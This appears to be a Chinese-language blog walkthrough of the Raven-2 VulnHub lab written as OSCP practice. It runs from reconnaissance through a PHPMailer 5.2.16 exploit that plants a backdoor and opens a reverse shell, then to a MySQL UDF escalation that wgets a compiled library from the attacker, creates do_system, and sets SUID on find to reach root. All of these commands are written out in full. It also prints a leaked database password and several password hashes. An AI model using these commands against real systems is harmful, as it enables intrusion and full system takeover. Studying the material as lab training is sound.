当前位置: 首页 > news >正文

【OSCP-vulnhub】Raven-2

目录

端口扫描

本地/etc/hosts文件解析

目录扫描:

第一个flag

利用msf下载exp

flag2

flag3

Mysql登录

查看mysql的运行权限

MySql提权:UDF

查看数据库写入条件

查看插件目录

查看是否可以远程登录

gcc编译.o文件

创建so文件

创建临时监听

执行sql语句

创建数据表feng

插入数据文件

导出数据

创建自定义函数do_system

查询一下添加的函数

利用do_system给find命令赋予suid权限

find命令提权

The end(获取flag)

flag4{df2bc5e951d91581467bb9a2a8ff4425}

端口扫描

nmap -sS -p- 192.168.56.105 -sV -A --version-all -sC

图片

 

访问网站发现没什么可关注的点,点到blog的时候显示不可访问

图片

 

这个时候就联想到了

本地/etc/hosts文件解析

就能正常访问了。。

图片

 

目录扫描:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.56.105

图片

 

诶嘿,扫出了蛮多个目录的

在/vendor/PATH发现

第一个flag

图片

 

在readme发现很多关于PHPMailer的信息

图片

 

以及http://192.168.56.105/vendor/VERSION在这里面提示版本为5.2.16

我们随即便去查找一下相关的exp

利用msf下载exp

图片

 

修改代码

依次修改可以发送邮件的路径,要定义的后门文件/shell.php,要回连的地址以及端口,还有网站的后门文件保存路径

图片

 

python 40974.py

接着访问/contact.php触发后门文件再访问/shell.php就可以进行反弹shell。。。

图片

 

建立交互式终端

python -c 'import pty;pty.spawn("/bin/bash")'

查找flag

find / -name flag* 

找到两个有关flags的信息

  •  /var/www/flag2.txt

  •  /var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

flag2

cat /var/www/flag2.txt

图片

 

flag3

图片

 

接着在wordpress目录发现数据库密码

图片

 

用户名:root,密码:R@v3nSecurity

Mysql登录

mysql -uroot -pR@v3nSecurity
mysql> show databases;

+--------------------+ | Database           | +--------------------+ | information_schema | | mysql              | | performance_schema | | wordpress          | +--------------------+

mysql> use wordpress
mysql> show tables;

+-----------------------+ | Tables_in_wordpress   | +-----------------------+ | wp_commentmeta        | | wp_comments           | | wp_links              | | wp_options            | | wp_postmeta           | | wp_posts              | | wp_term_relationships | | wp_term_taxonomy      | | wp_termmeta           | | wp_terms              | | wp_usermeta           | | wp_users              | +-----------------------+

select * from wp_users;

michael    | BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

steven     | B6X3H3ykawf2oHuPsbjQiih5iJXqad.

查看mysql的运行权限

是root权限在运行

ps -aux | grep mysql

MySql提权:UDF

查看数据库写入条件
show global variables like 'secure%';

+------------------+-------+ | Variable_name    | Value | +------------------+-------+ | secure_auth      | OFF   | | secure_file_priv |       | +------------------+-------+

  •  1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权

  •  2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权

  •  3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权! 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看插件目录
show variables like '%plugin%';

+---------------+------------------------+ | Variable_name | Value                  | +---------------+------------------------+ | plugin_dir    | /usr/lib/mysql/plugin/ | +---------------+------------------------+

查看是否可以远程登录
use mysql
select user,host from user;

+------------------+-----------+ | user             | host      | +------------------+-----------+ | root             | 127.0.0.1 | | root             | ::1       | | debian-sys-maint | localhost | | root             | localhost | | root             | raven     | +------------------+-----------+

发现root用户不允许远程登录,所以不能使用MSF提权

searchsploit udf

图片

 

gcc编译.o文件

gcc -g -c 1518.c
创建so文件
gcc -g -shared -Wl,-soname,exp.so -o exp.so 1518.o -lc
  •  -g 生成调试信息

  •  -c 编译(二进制)

  •  -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。

  •  -Wl,-soname,exp.so

    • -Wl 表示将后续参数传递给链接器(ld)。

    • -soname,exp.so 设置动态库的 内部名称SONAME),影响动态链接时的库查找行为。

  •  -o:执行命令后的文件名

  •  -lc:-l 库 c库名

创建临时监听
python -m http.server 8080
wget http://192.168.56.103:8080/1518.so -O test.so
执行sql语句
use mysql;
创建数据表feng
create table feng(line blob);
插入数据文件
insert into feng values(load_file('/tmp/test.so'));
导出数据
  • outfile 多行导出,dumpfile一行导出

    select * from feng into dumpfile '/usr/lib/mysql/plugin/test.so';
    
创建自定义函数do_system

(或者sys_exec)类型是integer,别名(soname)文件名字

create function do_system returns integer soname 'test.so';
查询一下添加的函数
select * from mysql.func;
利用do_system给find命令赋予suid权限
select do_system('chmod u+s /usr/bin/find');
find命令提权

创建一个文件:touch feng

find / -name feng -exec "/bin/sh" \;

id uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

The end(获取flag)

cd /rootlscat flag4.txt  

flag4{df2bc5e951d91581467bb9a2a8ff4425}


好啦,本文的内容就到这了,希望对你有所帮助。。

相关文章:

  • 基于nodeJS代码的通过爬虫方式实现tiktok发布视频(2025年4月)
  • 算法题-图论
  • Java高级:数据库访问优化
  • 网络安全零基础培训 L1-7 Web基础和CSS渲染
  • JVM考古现场(二十五):逆熵者·时间晶体的永恒之战(进阶篇)
  • 【Project】基于spark-App端口懂车帝数据采集与可视化
  • Vue 3中如何封装API请求:提升开发效率的最佳实践
  • Geek强大的电脑卸载软件工具,免费下载
  • Winform实现条码打印
  • Vue生命周期详细解析
  • AI语音助手自定义角色百度大模型 【全新AI开发套件掌上AI+4w字教程+零基础上手】
  • Android SDK 下载及配置 --- app笔记
  • 【分布式锁通关指南 09】源码剖析redisson之公平锁的实现
  • [KVM] KVM挂起状态恢复失败与KVM存储池迁移
  • Spring JDBC 的开发步骤(注解方式)
  • 私有知识库 Coco AI 实战(三):摄入 Elasticsearch 官方文档
  • Go语言学习笔记(一)
  • 【论文阅读】Dual-branch Cross-Patch Attention Learning for Group Affect Recognition
  • 代理模式:控制对象访问的中间层设计
  • 论文阅读 | 大模型工具调用控制的策略优化
  • 读图丨漫游者秦龙,一生为经典画插图
  • 继加州后,美国又有11州起诉特朗普政府滥用关税政策“违法”
  • 31年前失踪的男孩与家人在重庆一派出所团聚:人像比对后DNA鉴定成功
  • 骑手眼中的“外卖战”
  • 经济日报:锚定重点领域和关键环节,上海浦东谋划高水平对外开放
  • 不降息就走人?特朗普试图开先例罢免美联储主席,有无胜算